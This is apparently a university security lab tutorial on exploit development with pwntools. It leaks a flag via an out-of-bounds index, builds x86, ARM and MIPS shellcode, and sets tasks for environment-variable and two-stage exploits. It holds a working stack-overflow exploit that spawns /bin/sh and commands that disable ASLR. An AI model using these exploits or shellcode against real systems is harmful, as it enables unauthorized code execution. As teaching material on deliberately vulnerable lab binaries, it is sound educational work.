Starting from where we left off last session, you will find that in real-life scenarios, vulnerabilities leave you very little room to play with, so you have to be creative with your exploits.
setarch i386 -R /bin/bash
You can re-enable it by quitting the shell (such as using the exit
command or the Ctrl+d
shortcut).
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Even though pwntools
is an excellent CTF framework, it is also an exploit development library. It was developed by Gallopsled, a European CTF team, under the context that exploit developers have been writing the same tools over and over again with different variations. Pwntools comes to level the playing field and bring together developers to create a common framework of tools.
Pwntools enables you to dynamically interact (through scripting) with either local or remote processes, as follows:
IP = '10.11.12.13' PORT = 1337 local = False if not local: io = remote(IP, PORT) else: io = process('/path/to/binary') io.interactive()
We can send and receive data from a local or remote process via send
, sendline
, recv
, recvline
, recvlines
and recvuntil
.
Let's construct a complete example in which we interact with a local process.
#include <stdio.h> int main(int argc, char* argv[]) { char flag[10] = {'S', 'E', 'C', 'R', 'E', 'T', 'F', 'L', 'A', 'G'}; char digits[10] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9'}; int index = 0; while (1) { printf("Give me an index and I'll tell you what's there!\n"); scanf("%d", &index); printf("Okay, here you go: %p %c\n", &digits[index], digits[index]); } return 0; }
Let's leak one byte of the flag using pwntools.
#!/usr/bin/env python from pwn import * io = process('leaky') # "Give me an index and I'll tell you what's there!\n io.recvline() # Send offset -10 io.sendline('-10') # Here you go\n result = io.recvline() print(b"Got: " + result) io.interactive()
If we run the previous script, we get the following output:
[+] Starting local process './leaky': Done Got: Okay, here you go: 0xffe947d8 S [*] Switching to interactive mode [*] Process './leaky' stopped with exit code 0 [*] Got EOF while reading in interactive $
Notice the $
prompt which still awaits input from us to feed the process. This is due to the io.interactive()
line at the end of the script.
We can encapsulate the previous sequence of interactions inside a function which we can loop.
#!/usr/bin/env python from pwn import * def leak_char(offset): # "Give me an index and I'll tell you what's there!\n io.recvline() # Send offset io.sendline(str(offset)) # Here you go\n result = io.recvline() # Parse the result leaked_char = result.split(b'go: ')[1].split(b' ')[1].split(b'\n')[0] return leaked_char io = process('leaky') flag = '' for i in range(-10,0): flag += leak_char(i).decode("utf-8") print("The flag is: " + flag) io.close()
If we run this script, we leak the flag.
$ ./demo_pwn.py [+] Starting local process './leaky': Done The flag is: SECRETFLAG [*] Stopped program './leaky'
The previous example was a bit… quiet. Fortunately, pwntools
has nicely separated logging capabilities to make things more verbose for debugging and progress-viewing purposes. Let's log each of our steps within the leak_char
function.
def leak_char(offset): # "Give me an index and I'll tell you what's there!\n io.recvline() # Send offset log.info("Sending request for offset: " + str(offset)) io.sendline(str(offset)) # Here you go\n result = io.recvline() log.info("Got back raw response: {}".format(result)) # Parse the result leaked_char = result.split(b'go: ')[1].split(b' ')[1].split(b'\n')[0] log.info("Parsed char: {}".format(leaked_char)) return leaked_char
Now the output should be much more verbose:
[+] Starting local process './leaky': Done [*] Sending request for offset: -10 [*] Got back raw response: Okay, here you go: 0xffb14948 S [*] Parsed char: S [*] Sending request for offset: -9 [*] Got back raw response: Okay, here you go: 0xffb14949 E [*] Parsed char: E [*] Sending request for offset: -8 [*] Got back raw response: Okay, here you go: 0xffb1494a C [*] Parsed char: C [*] Sending request for offset: -7 [*] Got back raw response: Okay, here you go: 0xffb1494b R [*] Parsed char: R [*] Sending request for offset: -6 [*] Got back raw response: Okay, here you go: 0xffb1494c E [*] Parsed char: E [*] Sending request for offset: -5 [*] Got back raw response: Okay, here you go: 0xffb1494d T [*] Parsed char: T [*] Sending request for offset: -4 [*] Got back raw response: Okay, here you go: 0xffb1494e F [*] Parsed char: F [*] Sending request for offset: -3 [*] Got back raw response: Okay, here you go: 0xffb1494f L [*] Parsed char: L [*] Sending request for offset: -2 [*] Got back raw response: Okay, here you go: 0xffb14950 A [*] Parsed char: A [*] Sending request for offset: -1 [*] Got back raw response: Okay, here you go: 0xffb14951 G [*] Parsed char: G [*] The flag is: SECRETFLAG [*] Stopped program './leaky'
Pwntools can also be used for precision work, like working with ELF files and their symbols.
#!/usr/bin/env python from pwn import * leaky_elf = ELF('leaky') main_addr = leaky_elf.symbols['main'] # Print address of main log.info("Main at: " + hex(main_addr)) # Disassemble the first 14 bytes of main log.info(disasm(leaky_elf.read(main_addr, 14), arch='x86'))
We can also write ELF files from raw assembly; this is very useful for testing shellcodes.
#!/usr/bin/env python from pwn import * sh_shellcode = """ mov eax, 11 push 0 push 0x68732f6e push 0x69622f2f mov ebx, esp mov ecx, 0 mov edx, 0 int 0x80 """ e = ELF.from_assembly(sh_shellcode, vma=0x400000) with open('test_shell', 'wb') as f: f.write(e.get_data())
test_shell
which executes the necessary assembly code to spawn a shell.
$ chmod u+x test_shell $ ./test_shell
Pwntools comes with the shellcraft
module, which is quite extensive in its capabilities.
print(shellcraft.read(0, 0xffffeeb0, 20)) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes /* call read(0, 0xffffeeb0, 0x14) */ push (SYS_read) /* 3 */ pop eax xor ebx, ebx push 0xffffeeb0 pop ecx push 0x14 pop edx int 0x80
It also works with other architectures:
print(shellcraft.arm.read(0, 0xffffeeb0, 20)) /* call read(0, 4294962864, 20) */ eor r0, r0 /* 0 (#0) */ movw r1, #0xffffeeb0 & 0xffff movt r1, #0xffffeeb0 >> 16 mov r2, #0x14 mov r7, #(SYS_read) /* 3 */ svc 0 print(shellcraft.mips.read(0, 0xffffeeb0, 20)) /* call read(0, 0xffffeeb0, 0x14) */ slti $a0, $zero, 0xFFFF /* $a0 = 0 */ li $a1, 0xffffeeb0 li $t9, ~0x14 not $a2, $t9 li $t9, ~(SYS_read) /* 0xfa3 */ not $v0, $t9 syscall 0x40404
These shellcodes can be directly assembled using asm
inside your script, and given to the exploited process via the send*
functions.
shellcode = asm(''' mov rdi, 0 mov rax, 60 syscall ''', arch = 'amd64')
asm
function or to shellcraft
you can define the context at the start of the script which will imply the architecture from the binary header.
context.binary = './vuln_program' shellcode = asm(''' mov rdi, 0 mov rax, 60 syscall ''') print(shellcraft.sh())
Most importantly, pwntools
provides GDB integration, which is extremely useful.
Let's follow an example using the vulnerable binary from the Lab 04 - Exploiting. Shellcodes tutorial.
#!/usr/bin/env python from pwn import * ret_offset = 72 buf_addr = 0x7fffffffd710 ret_address = buf_addr+ret_offset+16 # This sets several relevant things in the context (such as endianess, # architecture etc.), based on the given binary's properties. # We could also set them manually: # context.arch = "amd64" context.binary = "vuln" p = process("vuln") payload = b"" # Garbage payload += ret_offset * b"A" # Overwrite ret_address, taking endianness into account payload += pack(ret_address) # Add nopsled nops = asm("nop")*100 payload += nops # Assemble a shellcode from 'shellcraft' and append to payload shellcode = asm(shellcraft.sh()) payload += shellcode # Attach to process gdb.attach(p) # Wait for breakpoints, commands etc. raw_input("Send payload?") # Send payload p.sendline(payload) # Enjoy shell :-) p.interactive()
Notice the gdb.attach(p)
and raw_input
lines. The former will open a new terminal window with GDB already attached. All of your GDB configurations will be used, so this works with PEDA as well. Let's set a breakpoint at the ret
instruction from the main
function:
gdb-peda$ pdis main Dump of assembler code for function main: 0x08048440 <+0>: push ebp 0x08048441 <+1>: mov ebp,esp 0x08048443 <+3>: sub esp,0x40 0x08048446 <+6>: lea ebx,[ebp-0x40] 0x08048449 <+9>: push ebx 0x0804844a <+10>: push 0x804a020 0x0804844f <+15>: call 0x8048300 <printf@plt> 0x08048454 <+20>: push ebx 0x08048455 <+21>: call 0x8048310 <gets@plt> 0x0804845a <+26>: add esp,0x4 0x0804845d <+29>: leave 0x0804845e <+30>: ret 0x0804845f <+31>: nop End of assembler dump. gdb-peda$ b *0x0804845e Breakpoint 1 at 0x804845e gdb-peda$ c Continuing.
The continue
command will return control to the terminal in which we're running the pwntools
script. This is where the raw_input
comes in handy, because it will wait for you to say “go” before proceeding further. Now if you hit <Enter>
at the Send payload?
prompt, you will notice that GDB has reached the breakpoint you've previously set.
You can now single-step each instruction of the shellcode inside GDB to see that everything is working properly. Once you reach int 0x80
, you can continue
again (or close GDB altogether) and interact with the newly spawned shell in the pwntools session.
All content necessary for the CNS laboratory tasks can be found in the CNS public repository.
Navigate to the 1_env_var
directory. Run make
.
Analyse the vuln.asm
source file. Notice that strncpy
is used and that the buffer is not large enough to store our desired shellcode. In this task, you will use an environment variable, which as you may know will be present on the stack, to store our shellcode.
Write a small script script.py
which prints an execve('/bin/sh', ['/bin/sh'], 0)
shellcode preceded by a large (16k) NOP sled.
Then, store this shellcode in an environment variable as follows:
$ export A=$(python ./script.py)
Next, use the getenv
binary to find the (approximate) address of the environment variable on the stack
$ ./getenv A Env var addr 0xfffdd1e7
from pwn import * p = process(['./getenv', 'A'], env={'A': shellcode}) print(p.recvline())
This way you can do the whole exploit with a python script:
getenv
to leak the addressgetenv
vuln
This is the address at which you will return to.
Navigate to 2_640k
and run make
. Notice that what we're building is the asm file. The C source is there to show what the program is doing from a logical standpoint.
Since the buffer is not large enough to hold a proper shellcode, we're going to construct a two-stage exploit using pwntools
. You can start from the skel.py
file, if you want.
Understand the logic of the program. Can you leak the address of the overflowing buffer somehow? Can you verify that your leak is correct?
You can use the leak to return exactly to the start of your buffer in order to use all of our available 20 bytes. Use them to call read(0, buf+return_offset, 200)
. Write a small shellcode which does this. Check using peda if the read
is being called i.e. the program enters a blocked state in which it awaits input.
nops
added in skel.py
will make sure that the second shellcode will flow from the first without additional jumps
Now that you are reading onto the stack further past the return address, you can write your proper shellcode there.
/bin/sh
at the end of the shellcode, the compute the sring address based on shellcode size/bin/sh
onto the stack, your shellcode could look something like this: jmp <offset> ; determine through trial and error '/bin/sh\0' ; code continues here
This will effectively jump over the /bin/sh
string on the stack, which you can then use for your shellcode. Without this initial jmp instruction, the string will be interpreted as instructions!
call
before defining a string” trick from the last session to get /bin/sh
onto the stack might not work because it will probably overlap with the current stack (the call
and pop
instruction might overwrite the shellcode).